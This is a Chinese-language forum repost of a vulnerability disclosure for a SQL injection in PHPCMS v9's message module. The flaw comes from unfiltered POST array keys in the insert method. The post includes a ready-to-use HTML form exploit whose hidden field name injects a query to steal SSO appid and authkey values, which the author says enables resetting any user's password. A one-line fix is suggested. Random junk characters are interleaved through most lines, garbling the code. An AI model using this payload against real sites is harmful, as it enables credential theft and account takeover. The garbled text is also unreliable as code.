|
|
简要描述:
& K7 w+ n( }$ b7 |3 S6 H7 G
) e. a; ?0 A7 U3 H& f6 v3 d第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。1 t2 h& H5 P# _! E
: g1 v `0 l/ g2 N+ c
明天再更新下一个漏洞。 I+ R3 g; u. j4 C
详细说明:6 z$ I: f* E+ X: O T( u
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
0 t7 r+ K( a Z ]% r
/ h/ i; {& f) J/ x! g$messageid = $this->message_db->insert($_POST['info'],true);
! A7 _( X9 f3 ^- M1 r3 Q' N7 t# _ k. O; R8 H8 D! x2 y
5 g! g$ Y& r2 J: W2 `
insert方法是key value的,代码如下:
+ d: j4 K2 m6 C' b8 k2 J2 ]8 ?; @7 K, b4 I5 d) C* V
public function insert($data, $table, $return_insert_id = false, $replace = false) {% M7 Q' j+ Q+ x# |! {7 e
if(!is_array( $data ) || $table == '' || count($data) == 0) {
$ A6 e5 g' W n/ f- s return false;
9 w6 K8 g" L! L: Y( L }4 p: ^$ E0 c% h6 O2 Y
B& [5 K5 `" f4 M3 x $fielddata = array_keys($data);' a$ q: F( W' {: T3 t: C I1 ?
$valuedata = array_values($data);, S* P/ I: e1 ]. o7 S
array_walk($fielddata, array($this, 'add_special_char'));
?3 z, ]% _" p4 g3 K W array_walk($valuedata, array($this, 'escape_string'));* X3 S1 W: R4 W
6 Z- s6 M- M, U8 O# I
$field = implode (',', $fielddata);
% ^- h% t. n' `5 j8 c $value = implode (',', $valuedata);2 U7 K) {1 i [, l" B: j5 y3 s
. ` J* ^2 C h" b! q2 g $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
1 D; I1 ^% g) f# K! i $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';" N! E6 o. l A) c; ~/ @# R% O `
$return = $this->execute($sql);
0 l8 B% g% ^9 [1 f return $return_insert_id ? $this->insert_id() : $return;9 |8 W ^: ~8 Q# u5 K$ c$ n; M
}1 g+ v2 d9 ~$ |2 s4 x$ ^
3 C8 L. [! i \4 d1 R
r7 d" K0 L! S+ u u4 z嗯,很遗憾的是
" Y" B7 l4 V6 a/ [; h& R6 I6 ?8 ~
; ]7 y( ~' K5 B4 parray_walk($fielddata, array($this, 'add_special_char'));
7 l a) f6 |& }
" f+ u9 F$ m# j8 S& V& q' G0 S* s D. A& U, U. ~
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
1 p. Y" R4 k; k! u
. y+ L( D- x- A& K4 T+ X$ e到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
1 V! S+ t# K) I% W8 ^
# `5 O% _' N2 W0 T' O. x漏洞证明:$ ]3 ^1 q0 n' `0 f
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。3 L. S2 h, l/ `9 X% d$ W% e' \4 k
6 a y C: B/ C, \
k9 n* A& Y6 p" L! ~" n; T" \& k" j表单如下:用户名什么的得自己改一改。$ v# s" `% u/ J1 a
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">/ {% u& k: K" P( z+ f
<table width="100%" cellspacing="0" class="table_form">( r$ H& T: s. e( f5 H# o
<tr>2 e3 T4 u4 e' A% Q9 x
<th>标 题:</th>% M) S* z" g5 m0 N0 A6 N
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
! b* ?' h+ i, @</tr> 1 W l7 U( }2 f% y+ D$ D# G* g$ p
<tr>
/ t5 ~. j* I2 v<th>内 容:</th>
, R5 a. d& t+ b9 [/ m<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
5 j+ v& d6 \" Z+ J5 Y</tr>/ M+ H: y$ n" N6 q& A
<input type="hidden" name="info[replyid]" value="2" /> + r. R# H. u+ e
<input type="hidden" name="info[send_to_id]" value="cc" />
' ?* c- o: \3 j+ B c; }<input type="hidden" name="info[send_from_id]" value="hh">
( o% K: d. r0 \" _) U5 x4 G<!-- 漏洞的利用重点在这里开始 -->5 G b _1 `/ C" G- m+ O
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> ' T' J9 S* ^ O- T: M @
<!-- 漏洞的利用重点在这里结束 -->
& L& E: P5 \- D) \' A<tr>4 E/ x) w( \, a+ ^! O: |# G0 B
<th>验证码:</th>7 N' }+ b) x, L' ?$ g4 h
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>7 k3 Z' C7 e% F7 a K+ k# `
</tr>$ m, B# h# R( Z6 ^
<tr>
% f5 W8 h; D( I1 k" L F6 Y<td></td>
1 Y" K- H8 u: o ~; K, {<td colspan="2"><label>
" E& b" u j0 Z3 T; [* K<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
# r; W, d, ?; V2 d, A9 l0 c: _: E</label></td>
' U; Y& j7 s) C- L( E& i</tr>
, v1 {9 X% U$ ?) r5 @</table>
, ~1 w2 [% Z3 x& N</form>
1 Z1 d6 n( v9 Y" |6 U在add_special_char函数内对key做过滤就可以了。
- E( W% X; w1 I3 V. \& G/ ^* A" O
1 m7 N) b# j$ q5 e, o! p5 Y1 }
2 c* M# P9 o) {# B2 ~5 P0 [% \
2 N/ @/ g, G# Q/ o4 Q0 z |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|